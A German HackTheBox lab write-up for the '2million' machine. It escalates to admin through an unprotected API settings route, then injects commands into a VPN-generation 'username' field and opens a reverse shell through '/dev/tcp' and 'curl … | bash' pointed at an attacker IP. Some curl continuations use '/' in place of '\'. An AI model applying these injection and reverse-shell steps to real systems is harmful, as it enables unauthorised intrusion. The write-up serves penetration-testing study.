> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# HackTheBox API-Missbrauch

## Ausnutzung der HACKTHEBOX-API

<figure><img src="/files/7149e76c146baa23e7794ae7af8a0c0a5b1c227a" alt=""><figcaption></figcaption></figure>

#### Beobachtung der API

Beim Aufrufen von `/api`, beobachten wir die verfügbaren Routen

<figure><img src="/files/e2aec1562e3c6c5d90c8d109a903acc9624db356" alt=""><figcaption></figcaption></figure>

#### Versuch der VPN-Konfigurationsgenerierung (anfänglicher Fehlschlag)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

Antwort: nicht autorisiert.

<figure><img src="/files/f49bd4a287fdc41cb781b57fe9ae72ffa41686ae" alt=""><figcaption></figcaption></figure>

#### Änderung unserer Rolle über die API

<figure><img src="/files/9434843c2538a6c02df413d85bbd0c0eb16ba395" alt=""><figcaption></figcaption></figure>

Wir testen die Änderung der Benutzerparameter mit der Route:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Fehlender Parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Fehlender Parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> Antwort:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/62e88627b74a9855a9cce4e37ba8b1428a115147" alt=""><figcaption></figcaption></figure>

#### Überprüfung unseres Admin-Status

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/cc2685d8caab4dac000fd14d97e07d8f0fd9c279" alt="" width="563"><figcaption></figcaption></figure>

### RCE durch Befehlsinjektion

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/3fdb3227c1a2072abb9150f4a7fe9ced36c283dd" alt=""><figcaption></figcaption></figure>

Versuch einer Befehlsinjektion im Feld `Benutzernamen`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/c14c5348ce7f84b643fb45c061ab71f7ba345893" alt=""><figcaption></figcaption></figure>

#### Reverse Shell

1. **Server-Dateien**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Netcat-Listener**

```bash
nc -nvlp 443

```

3. **Senden des Befehls**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Wir erhalten eine Reverse Shell

<figure><img src="/files/d5d91e875c2f63f497f27e04277f063afeab415d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/api-attack/abus-api-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
